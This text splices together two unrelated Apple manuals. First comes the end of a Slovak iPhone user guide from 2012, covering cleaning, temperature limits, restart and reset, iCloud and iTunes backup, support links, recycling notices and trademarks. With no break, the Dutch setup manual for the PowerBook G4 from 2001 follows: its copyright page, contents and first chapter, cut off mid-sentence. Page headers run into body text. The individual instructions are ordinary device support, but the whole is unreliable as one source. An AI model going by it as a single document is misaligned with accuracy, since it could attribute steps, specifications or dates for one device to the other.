• Odpojte od iPhonu všetky káble a vypnite ho (podržte tlačidlo Spať/Zobudiť a prstom
potiahnite prepínač na obrazovke).
• Použite mäkkú handričku, ktorá neuvoľňuje vlákna.
• Zabráňte tomu, aby sa do otvorov dostala vlhkosť.
• Nepoužívajte čistiace prostriedky ani stlačený vzduch.
Predná a zadná časť iPhonu môže byť vyrobená zo skla, ktoré je pokryté oleofobickou
(odpudzuje mastnotu) vrstvou odolnou voči odtlačkom prstov. Tento typ povrchu sa pri
normálnom používaní po čase opotrebováva. Čistiace prostriedky a drsné materiály ničia
takýto povrch ešte rýchlejšie a môžu spôsobiť poškrabanie skla. Abrazívne látky môžu takisto
poškriabať povrch iPhonu.
Používanie konektorov, portov a tlačidiel Nikdy nepripájajte konektor do portu nasilu ani
príliš silno nestláčajte tlačidlá. Mohlo by dôjsť k poškodeniu, na ktoré sa nevzťahuje záruka.
Ak sa konektor nedá s ľahkosťou pripojiť do portu, zrejme spolu nepasujú. Skontrolujte, či
konektor neblokujú prekážky, či sa konektor a port k sebe hodia a či ste správne umiestnili
konektor vzhľadom na port.Príloha C Bezpečnosť, zaobchádzanie a podpora 156
Lightning Lightning konektor môže počas bežného používania zmeniť farbu. Zmena
farby môže byť spôsobená špinou, prachom a vystavením tekutinám. Ak chcete odstrániť
zafarbenie alebo ak sa počas používania kábel zahrieva či nenabíja ani nesynchronizuje iPhone,
odpojte ho od svojho počítača alebo napájacieho adaptéra a vyčistite ho suchou mäkkou
handričkou, ktorá nepúšťa vlákna. Na čistenie Lightning konektora nepoužívajte kvapaliny ani
čistiace prostriedky.
Prevádzková teplota iPhone bol navrhnutý na prevádzku v prostredí s teplotou od 0° do 35°
C a uskladnenie v prostredí s teplotou od -20° do 45° C. Ak budete používať alebo uskladňovať
iPhone mimo tohto rozsahu teplôt, môže dôjsť k jeho poškodeniu a k skráteniu životnosti
batérie. Nevystavujte iPhone dramatickým zmenám teploty alebo vlhkosti. Počas bežného
používania alebo nabíjania batérie sa iPhone môže zahriať.
Ak vnútorná teplota iPhonu prekročí stanovené limity (napríklad v zaparkovanom aute alebo
na priamom slnečnom svetle), môže sa pokúsiť znížiť svoju teplotu. Prejaví sa to nasledovne:
• iPhone sa prestane nabíjať.
• Obrazovka stmavne.
• Zobrazí sa obrazovka s varovaním o teplote.
• Niektoré aplikácie sa môžu zatvoriť.
Dôležité: Ak sa zobrazí upozornenie na prehriatie, iPhone zrejme nebude možné používať.
Ak iPhone nedokáže regulovať svoju vnútornú teplotu, prepne sa do hlbokého spánkového
režimu a zotrvá v ňom, až kým nevychladne. Premiestnite iPhone na chladnejšie miesto mimo
priameho slnečného žiarenia a počkajte niekoľko minút pred jeho ďalším použitím.
Ďalšie informácie nájdete na adrese support.apple.com/kb/HT2101.
Webová stránka podpory pre iPhone
Vyčerpávajúce informácie týkajúce sa podpory nájdete na adrese
www.apple.com/sk/support/iphone. Ak chcete kontaktovať spoločnosť Apple a získať osobnú
podporu (nie je dostupná pre všetky oblasti), navštívte stránku expresslane.apple.com.
Reštartovanie alebo resetovanie iPhonu
Väčšina prípadov s nesprávnym fungovaním zariadenia iPhone sa dá vyriešiť vynúteným
zatvorením aplikácie, reštartovaním alebo resetovaním zariadenia iPhone.
Reštartovanie zariadenia iPhone: Stlačte a podržte tlačidlo Spať/Zobudiť, až kým sa
nezobrazí červený prepínač. iPhone vypnete potiahnutím prepínača pomocou prsta. iPhone
následne zapnete stlačením a podržaním tlačidla Spať/Zobudiť, až kým sa nezobrazí logo
spoločnosti Apple.
Vynútené zatvorenie aplikácie: Stlačte a podržte tlačidlo Spať/Zobudiť niekoľko sekúnd, až
kým sa nezobrazí červený prepínač a potom podržte tlačidlo Domov , až kým nedôjde k
zatvoreniu aplikácie.
Vynútiť zatvorenie aplikácie môžete aj tak, že ju odstránite zo zoznamu naposledy používaných
aplikácií. Viac v časti Otváranie a prepínanie medzi aplikáciami na strane 19.
Ak sa iPhone nedá vypnúť a problém pretrváva, pravdepodobne bude potrebné resetovať
zariadenie iPhone. Túto možnosť by ste mali zvoliť len v prípade, že sa vypnutím a zapnutím
zariadenia iPhone problém nevyriešil.
Resetovanie zariadenia iPhone: Stlačte a niekoľko sekúnd podržte tlačidlo Spať/Zobudiť naraz
s tlačidlom Domov , až kým sa nezobrazí logo spoločnosti Apple.Príloha C Bezpečnosť, zaobchádzanie a podpora 157
Zobrazí sa nápis „Nesprávne heslo“ alebo „iPhone je zablokovaný“
Ak zabudnete svoje heslo alebo iPhone zobrazí upozornenie, že je zablokovaný,
pozrite si stránku „iOS: Wrong passcode results in red disabled screen” na adrese
support.apple.com/kb/HT1212.
Zobrazí sa nápis „Toto príslušenstvo nie je podporované iPhonom“
Pripojené príslušenstvo nemusí správne fungovať s iPhonom. Uistite sa, že USB kábel a
konektory nie sú znečistené a obráťte sa na dokumentáciu dodanú s príslušenstvom.
Nezobrazujú sa prílohy emailových správ
Ak iPhone nedokáže zobraziť prílohy z emailov, skúste nasledovné:
• Zobrazte si prílohu: Klepnite na prílohu pre jej zobrazenie pomocou funkcie Náhľad. Je
možné, že budete musieť chvíľu počkať na jej stiahnutie.
• Uložte fotku alebo video z prílohy: Klepnite na prílohu pre jej zobrazenie pomocou funkcie
Náhľad. Je možné, že budete musieť chvíľu počkať na jej stiahnutie.
Náhľad podporuje nasledujúce typy dokumentov:
• .doc, .docx — Microsoft Word
• .htm, .html — webová stránka
• .key — Keynote
• .numbers — Numbers
• .pages — Pages
• .pdf — Preview, Adobe Acrobat
• .ppt, .pptx — Microsoft PowerPoint
• .rtf — Formátovaný text
• .txt — text
• .vcf — kontaktné údaje
• .xls, .xlsx — Microsoft Excel
Informácie týkajúce sa riešenia ďalších problémov nájdete na adrese
www.apple.com/sk/support/iphone.
Zálohovanie iPhonu
Na automatické zálohovanie zariadenia iPhone môžete použiť iCloud alebo iTunes. Ak sa
rozhodnete pre zálohovanie na iCloud, nemôžete zároveň používať iTunes na automatické
zálohovanie do svojho počítača. iTunes však môžete použiť na manuálne zálohovanie do
počítača.
Zálohovanie na iCloud
iCloud denne zálohuje iPhone cez Wi-Fi, keď je pripojený k zdroju napájania a zamknutý.
Dátum a čas poslednej zálohy je zobrazený v spodnej časti obrazovky Úložisko a záloha. iCloud
zálohuje:
• Zakúpenú hudbu, TV seriály aplikácie a knihy
• Fotky a videá v albume Fotoaparát
• Nastavenia iPhonuPríloha C Bezpečnosť, zaobchádzanie a podpora 158
• Dáta aplikácií
• Usporiadanie plochy a aplikácií
• Správy (iMessage, SMS a MMS)
• Zvonenia
Poznámka: Zakúpená hudba nie je zálohovaná vo všetkých oblastiach a TV seriály nie sú
dostupné vo všetkých oblastiach.
Ak ste nepovolili iCloud zálohu pri úvodnom nastavení zariadenia iPhone, môžete ju zapnúť
neskôr v nastaveniach iCloudu.
Zapnutie iCloud záloh: Prejdite do Nastavenia > iCloud a ak je to potrebné, prihláste sa
pomocou svojho Apple ID a hesla. Prejdite do Úložisko a záloha a potom zapnite možnosť
iCloud záloha.
Okamžité zálohovanie: Prejdite do Nastavenia > iCloud > Úložisko a záloha a potom klepnite
na Zálohovať.
Spravovanie záloh: Prejdite do Nastavenia > iCloud > Úložisko a záloha a potom klepnite na
Spravovať úložisko. Klepnite na názov svojho iPhonu.
Zapnutie alebo vypnutie zálohovania albumu Fotoaparát: Prejdite do Nastavenia > iCloud >
Úložisko a záloha a potom klepnite na Spravovať úložisko. Klepnite na názov svojho iPhonu a
potom zapnite alebo vypnite zálohovanie albumu Fotoaparát.
Zobrazenie zálohovaných zariadení: Prejdite do Nastavenia > iCloud > Úložisko a záloha >
Spravovať úložisko.
Zastavenie zálohovania na iCloud: Prejdite do Nastavenia > iCloud > Úložisko a záloha >
Záloha a vypnite možnosť iCloud záloha.
Hudba, ktorá nebola zakúpená v iTunes, nie je zálohovaná na iCloude. Na zálohovanie a
obnovenie takéhoto obsahu musíte použiť iTunes. Viac v časti Synchronizácia s iTunes na
strane 17.
Dôležité: Zálohy pre hudbu a TV seriály nie sú dostupné vo všetkých oblastiach.
Predchádzajúce nákupy nemusia byť dostupné, ak sa viac nenachádzajú v iTunes Store, App
Store alebo iBookstore.
Zakúpený obsah a obsah albumu Fotostream nezaberajú na 5 GB bezplatnom iCloud úložisku
žiadne miesto.
Zálohovanie v iTunes
iTunes vytvára zálohy fotiek v albumoch Fotoaparát alebo Uložené fotky a zálohy textových
správ, poznámok, histórie hovorov, vášho zoznamu Obľúbené, nastavení zvuku a ďalších dát.
Mediálne súbory, ako napríklad skladby a niektoré fotky, nie sú zálohované, no môžete ich
obnoviť synchronizáciou s iTunes.
Po pripojení zariadenia iPhone k počítaču, s ktorým ho bežne synchronizujete, vytvorí iTunes
zálohu v nasledujúcich prípadoch:
• Synchronizácia s iTunes: iTunes synchronizuje iPhone pri každom pripojení zariadenia iPhone
k vášmu počítaču. iTunes nebude automaticky zálohovať iPhone ktorý nie je nastavený na
synchronizáciu s daným počítačom. Viac v časti Synchronizácia s iTunes na strane 17.
• Aktualizácia alebo obnova zariadenia iPhone: iTunes zálohuje zariadenie iPhone pred
aktualizáciou a obnovením.Príloha C Bezpečnosť, zaobchádzanie a podpora 159
iTunes môže kvôli ochrane vašich dát zašifrovať zálohy zariadenia iPhone.
Šifrovanie záloh zariadenia iPhone: V paneli Zhrnutie v iTunes vyberte možnosť Zašifrovať
zálohu iPhone.
Obnovenie súborov a nastavení na iPhone: Pripojte iPhone k počítaču, s ktorým ho bežne
synchronizujete, v okne iTunes vyberte iPhone a v paneli Zhrnutie vyberte Obnoviť.
Ďalšie informácie o zálohovaní nájdete na adrese support.apple.com/kb/HT1766.
Odstraňovanie záloh z iTunes
Zálohu zariadenia iPhone môžete odstrániť zo zoznamu záloh v iTunes. Túto funkciu je vhodné
využiť napríklad v prípade, ak bola vaša záloha vytvorená na inom počítači.
Odstránenie zálohy:
1 V iTunes otvorte Nastavenia iTunes.
• Mac: Vyberte iTunes > Nastavenia.
• Windows: Vyberte Upraviť > Nastavenia.
2 Kliknite na Zariadenia (iPhone nemusí byť pripojený k iTunes).
3 Vyberte zálohu, ktorú chcete vymazať a klepnite na Vymazať zálohu.
4 Potvrďte vymazanie kliknutím na Vymazať a potom kliknite na Potvrdiť.
Aktualizácia a obnova softvéru na zariadení iPhone
Softvér zariadenia iPhone môžete aktualizovať v nastaveniach na zariadení alebo pomocou
iTunes. Zariadenie iPhone môžete tiež vymazať a obnoviť a potom ho pomocou iCloudu alebo
iTunes obnoviť zo zálohy.
Vymazané dáta viac nebudú dostupné prostredníctvom užívateľského rozhrania zariadenia
iPhone, ale nie sú natrvalo vymazané zo zariadenia iPhone. Viac informácií o trvalom vymazaní
celého obsahu a nastavení nájdete v časti Resetovanie na strane 145.
Aktualizácia iPhonu
Softvér na iPhone môžete aktualizovať v nastaveniach na zariadení alebo pomocou iTunes.
Bezdrôtová aktualizácia na iPhone: Prejdite do Nastavenia > Všeobecné > Aktualizácia
softvéru. iPhone vyhľadá dostupné aktualizácie softvéru.
Aktualizácia softvéru v iTunes: iTunes vyhľadá dostupné aktualizácie softvéru pri každej
synchronizácii zariadenia iPhone pomocou iTunes. Viac v časti Synchronizácia s iTunes na
strane 17.
Ďalšie informácie o aktualizácii softvéru zariadenia iPhone nájdete na adrese
support.apple.com/kb/HT4623.
Obnova iPhonu zo zálohy
Na obnovenie zariadenia iPhone zo zálohy môžete použiť iCloud alebo iTunes.
Obnova z iCloud zálohy: Resetujte iPhone kvôli vymazaniu všetkých nastavení a informácií.
Prihláste sa do iCloudu a v aplikácii Sprievodca nastavením vyberte možnosť Obnoviť zo
zálohy. Viac v časti Resetovanie na strane 145.
Obnova zo zálohy v iTunes: Pripojte iPhone k počítaču, s ktorým ho bežne synchronizujete, v
okne iTunes vyberte iPhone a v paneli Zhrnutie vyberte Obnoviť.Príloha C Bezpečnosť, zaobchádzanie a podpora 160
Po obnovení softvéru na zariadení iPhone ho môžete nastaviť ako nový iPhone, alebo obnoviť
svoju hudbu, videá, aplikačné dáta a ďalší obsah zo zálohy.
Ďalšie informácie o obnove softvéru zariadenia iPhone nájdete na adrese
support.apple.com/kb/HT1414.
Informácie o softvéri a servise
Nasledujúca tabuľka popisuje spôsoby, akými môžete získať viac informácií týkajúcich sa
bezpečnosti, softvéru a servisu pre iPhone.
Pre informácie o Urobte toto
Bezpečné používanie zariadenia iPhone Viac v časti Dôležité informácie týkajúce sa
bezpečnosti na strane 153.
Servis a podpora pre iPhone, tipy, diskusné fóra a
Apple softvér určený na stiahnutie
Navštívte stránku
www.apple.com/sk/support/iphone.
Služby a podpora od vášho operátora Kontaktujte svojho operátora, alebo navštívte jeho
webovú stránku.
Najnovšie informácie o iPhone Navštívte stránku www.apple.com/sk/iphone.
Spravovanie Apple ID účtu Navštívte stránku appleid.apple.com.
Používanie iCloudu Navštívte stránku
www.apple.com/emea/support/icloud/.
Používanie iTunes Otvorte iTunes a vyberte Pomoc >
Pomocník pre iTunes. Online sprievodca
aplikáciou iTunes je dostupný (nemusí byť
dostupný vo všetkých oblastiach) na adrese
www.apple.com/emea/support/itunes/.
Používanie ďalších Appe iOs aplikácií Navštívte stránku
www.apple.com/emea/support/ios/.
Vyhľadanie sériového čísla a čísiel IMEI, ICCID alebo
MEID vášho zariadenia iPhone
Sériové číslo vášho zariadenia iPhone a čísla
International Mobile Equipment Identity (IMEI),
ICCD alebo Mobile Equipment Identifier (MEID)
nájdete na balení zariadenia iPhone. Prípadne
na iPhone vyberte Nastavenia > Všeobecné >
Informácie. Ďalšie informácie nájdete na adrese
support.apple.com/kb/ht4061.
Záručný servis Najprv postupujte podľa pokynov v
tejto príručke. Potom navštívte stránku
www.apple.com/sk/support/iphone.
Zobrazenie informácií o normách na iPhone Na iPhone prejdite do Nastavenia > Všeobecné >
Informácie > Právne > Normy.
Výmena batérie Navštívte www.apple.com/sk/batteries/.
Používanie zariadenia iPhone vo
firemnom prostredí
Na webovej stránke
www.apple.com/iphone/business nájdete ďalšie
informácie o funkciách zariadenia iPhone, vrátane
používania Microsoft Exchange, IMAP, CalDAV,
CardDAV, VPN a ďalších. Príloha C Bezpečnosť, zaobchádzanie a podpora 161
Používanie zariadenia iPhone vo firemnom prostredí
Na webovej stránke www.apple.com/iphone/business nájdete ďalšie informácie o funkciách
zariadenia iPhone, vrátane používania Microsoft Exchange, IMAP, CalDAV, CardDAV, VPN a
ďalších.
Používanie zariadenia iPhone v sieťach iných operátorov
Niektorí operátori vám umožnia odomknúť iPhone, takže ho môžete používať v ich sieti. Ak
chcete zistiť, či váš operátor túto možnosť ponúka, navštívte support.apple.com/kb/HT1937.
Vyžiadajte si od svojho operátora informácie o autorizácii a nastavení. Pre dokončenie procesu
bude potrebné pripojiť iPhone k iTunes. Služba môže byť spoplatnená.
Informácie o riešení problémov nájdete na adrese support.apple.com/kb/TS3198.
Informácie o likvidácii a recyklácii
Program na recykláciu spoločnosti Apple (k dispozícii v niektorých oblastiach): Informácie o
bezplatnej recyklácii starého mobilného telefónu spolu s predplatenou obálkou a inštrukciami
nájdete na adrese www.apple.com/recycling.
Likvidácia a recyklácia iPhonu iPhone musíte zlikvidovať v zhode s miestnymi zákonmi
a nariadeniami. iPhone obsahuje elektronické súčasti a batériu, preto musíte svoj iPhone
likvidovať oddelene od domového odpadu. Keď iPhone dosiahne koniec svojho životného
cyklu, kontaktujte mieste úrady pre viac informácií o možnostiach likvidácie a recyklácie, alebo
ho jednoducho zaneste späť autorizovanému predajcovi Apple, či vráťte do Apple. Batéria
bude recyklovaná ekologicky nezávadným spôsobom. Viac informácií nájdete na adrese
www.apple.com/recycling.
Výmena batérie: Lítiumiónová batéria by mala byť vymieňaná len spoločnosťou Apple alebo
autorizovaným poskytovateľom servisu Apple a musí byť recyklovaná alebo zlikvidovaná
oddelene od odpadu z domácnosti. Viac informácií týkajúcich sa výmeny batérie nájdete na
adrese www.apple.com/sk/batteries/.
Účinnosť nabíjačky batérie
Türkiye
Türkiye Cumhuriyeti: EEE Yönetmeliğine Uygundur.Príloha C Bezpečnosť, zaobchádzanie a podpora 162
Európska únia — informácie týkajúce sa likvidácie elektroniky a batérií:
Vyššie uvedený symbol znamená, že v súlade s miestnymi zákonmi a nariadeniami by váš
produkt a/alebo batéria mali byť zlykvidované oddelene od domového odpadu. Ak tento
produkt dosiahne koniec životného cyklu, zaneste ho na zberné miesto určené miestnymi
úradmi. Oddelený zber a recyklácia vášho produktu a/alebo batérie pomáhajú šetriť prírodné
zdroje a zaručujú recykláciu spôsobom, ktorý chráni ľudské zdravie a životné prostredie.
Union Européenne—informations sur l’élimination: Le symbole ci-dessus signifie que,
conformément aux lois et réglementations locales, vous devez jeter votre produit et/ou
sa batterie séparément des ordures ménagères. Lorsque ce produit arrive en fin de vie,
apportez-le à un point de collecte désigné par les autorités locales. La collecte séparée et le
recyclage de votre produit et/ou de sa batterie lors de sa mise au rebut aideront à préserver les
ressources naturelles et à s’assurer qu’il est recyclé de manière à protéger la santé humaine et
l’environnement.
Europäische Union—Informationen zur Entsorgung: Das oben aufgeführte Symbol weist
darauf hin, dass dieses Produkt und/oder die damit verwendete Batterie den geltenden
gesetzlichen Vorschriften entsprechend und vom Hausmüll getrennt entsorgt werden
muss. Geben Sie dieses Produkt zur Entsorgung bei einer offiziellen Sammelstelle ab. Durch
getrenntes Sammeln und Recycling werden die Rohstoffreserven geschont und es ist
sichergestellt, dass beim Recycling des Produkts und/oder der Batterie alle Bestimmungen zum
Schutz von Gesundheit und Umwelt eingehalten werden.
&Unione Europea—informazioni per lo smaltimento: Il simbolo qui sopra significa che, in
base alle leggi e alle normative locali, il prodotto e/o la sua batteria dovrebbero essere riciclati
separatamente dai rifiuti domestici. Quando il prodotto diventa inutilizzabile, portalo nel
punto di raccolta stabilito dalle autorità locali. La raccolta separata e il riciclaggio del prodotto
e/o della sua batteria al momento dello smaltimento aiutano a conservare le risorse naturali e
assicurano che il riciclaggio avvenga nel rispetto della salute umana e dell’ambiente.
Europeiska unionen—information om kassering: Symbolen ovan betyder att produkten
och/eller dess batteri enligt lokala lagar och bestämmelser inte får kastas tillsammans med
hushållsavfallet. När produkten har tjänat ut måste den tas till en återvinningsstation som
utsetts av lokala myndigheter. Genom att låta den uttjänta produkten och/eller dess batteri tas
om hand för återvinning hjälper du till att spara naturresurser och skydda hälsa och miljö.
Brasil: Informações sobre descarte e reciclagem
O símbolo acima indica que este produto e/ou sua bateria não devem ser descartadas no lixo
doméstico. Quando decidir descartar este produto e/ou sua bateria, faça-o de acordo com as
leis e diretrizes ambientais locais. Para informações sobre o programa de reciclagem da Apple,
pontos de coleta e telefone de informações, visite www.apple.com/environment.
Apple a životné prostredie
V Apple si uvedomujeme našu povinnosť minimalizovať dopady našich prevádzok a produktov
na životné prostredie. Viac informácií nájdete na stránke www.apple.com/environment.KApple Inc.
© 2012 Apple Inc. Všetky práva vyhradené.
Apple, logo Apple, AirPlay, AirPort, AirPort Express, AirPort
Extreme, Aperture, Apple TV, Cover Flow, FaceTime, Finder,
iBooks, iCal, iLife, iMovie, iPad, iPhone, iPhoto, iPod, iPod
touch, iSight, iTunes, Keynote, Mac, Mac OS, Numbers, OS X,
Pages, Passbook, Safari, Siri, Spotlight, Time Capsule a logo
Works with iPhone sú ochranné známky spoločnosti Apple
Inc., registrované v USA a ďalších krajinách.
AirPrint, EarPods, Flyover, Guided Access, iMessage, logo
Made for iPhone a Multi-Touch sú ochranné známky
spoločnosti Apple Inc.
Apple Store, Genius, iAd, iCloud, iTunes Extras, iTunes Plus
a iTunes Store sú značky služieb spoločnosti Apple Inc.
zaregistrované v USA a ďalších krajinách.
App Store, iBookstore a iTunes Match sú značky služieb
spoločnosti Apple Inc.
IOS je ochranná známka alebo registrovaná ochranná známka
spoločnosti Cisco v USA a ďalších krajinách a jej použitie
podlieha licencii.
NIKE a logo Swoosh Design sú ochrannými známkami
spoločnosti NIKE, Inc a jej dcérskych spoločností a ich
používanie podlieha licencii.
Bluetooth® je registrovaná obchodná známka Bluetooth
SIG, Inc. a akékoľvek použitie tejto značky Apple Inc.
podlieha licencii.
Adobe a Photoshop sú registrovanými obchodnými
známkami Adobe Systems Incorporated v USA a/alebo
ďalších krajinách.
Ďalšie názvy spoločností alebo produktov spomenuté v
tomto dokumente môžu byť registrovanými obchodnými
známkami príslušných spoločností.
Zmienky o produktoch tretích strán majú len informačný
význam a nie sú myslené ako propagácia alebo odporúčanie.
Apple nepreberá žiadnu zodpovednosť za fungovanie
a používanie týchto produktov. Akékoľvek dohody alebo
záruky sú výlučne záležitosťou predajcu a potenciálnych
zákazníkov. Tento manuál bol vytvorený tak, aby informácie
v ňom boli presné. Apple nenesie zodpovednosť za tlačové
alebo administratívne chyby.
SL019-2344/2012-09
Aan de slag
met de PowerBook G4
Installatie en uitbreiding van PowerBook G4-computers
en het oplossen van problemenK Apple Computer, Inc.
© 2001 Apple Computer, Inc. Alle rechten voorbehouden.
Volgens de auteursrechtelijke bepalingen mag deze handleiding niet zonder schriftelijke toestemming van Apple
geheel of gedeeltelijk worden gekopieerd.
Het Apple logo is een handelsmerk van Apple Computer, Inc., dat is gedeponeerd in de Verenigde Staten en andere
landen. Zonder voorafgaande schriftelijke toestemming van Apple is het niet toegestaan het via het toetsenbord op
te roepen Apple logo (Option-Shift-K) te gebruiken voor commerciële doeleinden.
Deze handleiding is met uiterste zorg samengesteld. Apple aanvaardt geen aansprakelijkheid voor druk- of
typefouten.
Apple Computer, Inc.
1 Infinite Loop
Cupertino, CA 95014-2084
408-996-1010
www.apple.com
Apple, het Apple logo, AppleTalk, FireWire, Mac, Macintosh, het Mac OS-logo, PowerBook, QuickTime en Sherlock
zijn handelsmerken van Apple Computer, Inc., die zijn gedeponeerd in de Verenigde Staten en andere landen.
AirPort, de Apple Store en iMovie zijn handelsmerken van Apple Computer, Inc.
ENERGY STAR® is een handelsmerk dat is gedeponeerd in de Verenigde Staten.
Java is een handelsmerk van Sun Microsystems, Inc.
PowerPC is een handelsmerk van International Business Machines Corporation, dat in licentie wordt gebruikt.
Andere in deze handleiding genoemde bedrijfs- of productnamen zijn handelsmerken van de betreffende bedrijven.
Producten van andere fabrikanten worden alleen genoemd ter informatie. Dit betekent niet dat deze producten
door Apple worden aanbevolen of door Apple zijn goedgekeurd. Apple aanvaardt geen enkele aansprakelijkheid
met betrekking tot de betrouwbaarheid van deze producten.
Vervaardigd in licentie van Dolby Laboratories. “Dolby”, “Pro Logic” en het dubbele D-symbool zijn handelsmerken
van Dolby Laboratories. Confidential Unpublished Works, © 1992–1997 Dolby Laboratories, Inc. Alle rechten
voorbehouden.
Het product dat in deze handleiding wordt beschreven, bevat technologie voor auteursrechtenbescherming waarop
bepaalde Amerikaanse patenten en andere intellectuele eigendomsrechten van Macrovision Corporation en
anderen van toepassing zijn. Het gebruik van deze technologie voor auteursrechtenbescherming moet worden
goedgekeurd door Macrovision Corporation en is uitsluitend bedoeld voor thuisgebruik en andere toepassingen
met een beperkt aantal kijkers, tenzij anders overeengekomen met Macrovision Corporation. Het is niet toegestaan
deze technologie te decompileren of van ontwerp te herleiden.
Voor patentnummer 4.631.603, 4.577.216, 4.819.098 en 4.907.093 ( V.S.) is een licentie verleend voor gebruik met
een beperkt aantal kijkers. 3
Inhoud
1 Aan de slag 7
De computer aansluiten 8
Het beeldscherm opklappen 9
De computer aanzetten 10
Het stuurvlak gebruiken 12
De instellingen van het interne beeldscherm aanpassen 14
En nu? 16
De batterij kalibreren 16
De PowerBook in de sluimerstand zetten of uitschakelen 17
2 Vertrouwd raken met de computer 19
Informatie voor nieuwe Macintosh gebruikers 19
De onderdelen en regelaars van de PowerBook 20
De poorten en connectors van de PowerBook 22
De binnenkant van de PowerBook 24
Mac OS X 26
iTools: gratis Internet-diensten voor Mac-gebruikers 28
Sherlock 2: uw persoonlijke speurder op het Internet 30
Apple.com: uw vertrekpunt voor het Internet 32
QuickTime: audio en video op het Internet 34
iMovie 2: zelf digitale films maken en bewerken 36
iTunes: digitale muziek op de Mac 38
Programmatuur automatisch bijwerken: de computer automatisch up-to-date houden 40
Meerdere gebruikers: meerdere Macintosh computers in één 42
Mac Help: antwoorden op al uw vragen over de Macintosh 444 Inhoud
3 Werken met de computer 45
USB (Universal Serial Bus) 46
FireWire 48
PC Cards 50
Draadloze Internet- en netwerktoegang via AirPort 51
Ethernet (10/100/1000Base-T) 53
Infrarood (IrDA) 54
Ondersteuning voor extern videoapparaat ( VGA en S-Video) 55
Batterij 58
Dvd-romspeler 62
Optionele cd-rw-speler 64
Regelaars op het toetsenbord en programmeerbare functietoetsen 65
Beveiliging en toetsenbordvergrendeling 67
4 Werken met het besturingssysteem 69
Mac OS X 70
'Classic' gebruiken in Mac OS X 70
Schakelen tussen besturingssystemen 71
Problemen? 72
5 Extra apparatuur installeren of de batterij vervangen 73
Extra geheugen installeren 73
De interne harde schijf verwijderen 82
Een AirPort-kaart installeren 91
6 Problemen oplossen 93
Inhoud van dit hoofdstuk 93
Problemen die het gebruik van de computer verhinderen 94
De programmatuur herstellen 96
Andere problemen 97
Het serienummer 97
Bijlage A
Specificaties 99
Apple Systeemprofiel 99
Specificaties van de PowerBook 100Inhoud 5
Bijlage B
Informatie over onderhoud, gebruik en veiligheid 103
De PowerBook schoonmaken 103
De PowerBook vervoeren 103
De PowerBook opbergen 103
Aanwijzingen voor de installatie en het gebruik van de computer 104
Belangrijke wenken voor uw veiligheid 105
Uw werkplek inrichten 1067
H O O F D S T U K
1
1 Aan de slag
De PowerBook is zo ontworpen dat u er onmiddellijk mee aan de slag kunt. Lees dit gedeelte
als u voor het eerst kennismaakt met een Macintosh of als u nog nooit met een PowerBook
hebt gewerkt. Het bevat informatie over het gebruik van de PowerBook en helpt u bij het
vinden van aanvullende informatie.
Als u een ervaren gebruiker bent, weet u vermoedelijk al voldoende om direct met de
nieuwe PowerBook te gaan werken. Raadpleeg hoofdstuk 2, “Vertrouwd raken met de
computer” voor meer informatie over de nieuwe functies van deze PowerBook.
Opmerking: het is mogelijk dat de lichtnetadapter niet is voorzien van een stekker.
Composite-naar-S-videokabel
Lichtnetadapter Netsnoer
Wisselstroomstekker
Telefoonkabel
Belangrijk Lees de installatie-instructies en wenken voor uw veiligheid (raadpleeg
pagina 103) grondig door voordat u de computer op het lichtnet aansluit.8 Hoofdstuk 1
De computer aansluiten
Als u de adapter aansluit, krijgt de computer voeding via het lichtnet en wordt de batterij van
de computer opgeladen. U dient de adapter bij het eerste gebruik aan te sluiten, omdat het
mogelijk is dat de lading van de batterij tijdens het transport en de opslag van de computer is
teruggelopen.
1 Sluit de wisselstroomstekker van de adapter aan op een stopcontact.
Er gaat een lampje branden op de stekker van de lichtnetadapter. Een oranje lampje geeft
aan dat de batterij wordt opgeladen. Een groen lampje geeft aan dat de batterij volledig is
opgeladen.
2 Sluit de stekker van de lichtnetadapter aan op de daarvoor bestemde poort (aangeduid met
het symbool ¯) op het achterpaneel van de computer.
Als het snoer van de adapter te lang is, kunt u het om de klemmen wikkelen die op twee
hoeken van de lichtnetadapter zijn bevestigd.
Opmerking: Mogelijk sluiten de wisselstroomstekker en de adapter niet volledig op elkaar
aan. U kunt ook de wisselstroomstekker uit het stopcontact verwijderen en het ene uiteinde
van het netsnoer op de adapter aansluiten en het andere uiteinde op een stopcontact
aansluiten.
G ™ Æ W
Wisselstroomstekker Stekker lichtnetadapter ¯ Poort voor lichtnetadapter WInterne modem
Telefoonkabel
Netsnoer LichtnetadapterAan de slag 9
De interne modem aansluiten
Als u onmiddellijk toegang tot het Internet wilt hebben, sluit u het ene uiteinde van de
telefoonkabel aan op de interne-modempoort (aangeduid met het symbool W) en het
andere uiteinde op een analoge telefooncontactdoos (de modem is niet geschikt voor een
ISDN-aansluiting).
Het beeldscherm opklappen
1 Druk op de knop voor het ontgrendelen van het beeldscherm.
2 Zet het beeldscherm in een voor u prettige stand.
Attentie Sluit geen digitale telefoonlijn aan op de modem. Hierdoor kan de modem
beschadigd raken. Neem contact op met uw telefoonmaatschappij als u niet weet of u een
digitale telefoonlijn hebt.
®10 Hoofdstuk 1
De computer aanzetten
Om de computer aan te zetten, drukt u op de Aan/uit-knop (®). Wanneer de computer
wordt ingeschakeld, hoort u een geluidssignaal. Het duurt even voordat de computer is
opgestart. Dit is normaal. Telkens als u de computer aanzet, wordt het interne geheugen van
de PowerBook gecontroleerd. Hoe meer geheugen is geïnstalleerd, hoe langer het opstarten
duurt.
® Aan/uit-knop
®Aan de slag 11
Problemen met opstarten?
Er gebeurt niets als u op de Aan/uit-knop drukt.
m Misschien is de batterij leeg. Controleer of de adapter goed is aangesloten op de
computer en het stopcontact. Het lampje op de stekker van de lichtnetadapter
brandt als deze goed op het achterpaneel van de PowerBook is aangesloten.
m Als de computer niet opstart nadat u op de Aan/uit-knop hebt gedrukt, drukt u met
het uiteinde van een paperclip de reset-knop op het achterpaneel van de computer
in (raadpleeg pagina 22). Controleer of de knop weer in de oorspronkelijke positie
terugkeert nadat u deze hebt ingedrukt. Wacht enkele seconden en druk nogmaals
op de Aan/uit-knop.
m Als de computer nog steeds niet opstart, raadpleegt u pagina 95 voor meer tips
voor het oplossen van dit probleem.
U ziet het symbool van een diskette of map met een knipperend
vraagteken.
m Dit symbool geeft meestal aan dat er geen systeemprogrammatuur kan worden
gevonden op de harde schijf van de computer of op andere schijven die op de
computer zijn aangesloten. Mogelijk dient u de systeemprogrammatuur opnieuw te
installeren. Raadpleeg pagina 94.12 Hoofdstuk 1
Het stuurvlak gebruiken
Met het stuurvlak van de PowerBook kunt u, net als met de muis van een bureaucomputer,
onderdelen op het scherm selecteren en verplaatsen. Schuif uw vinger over het stuurvlak om
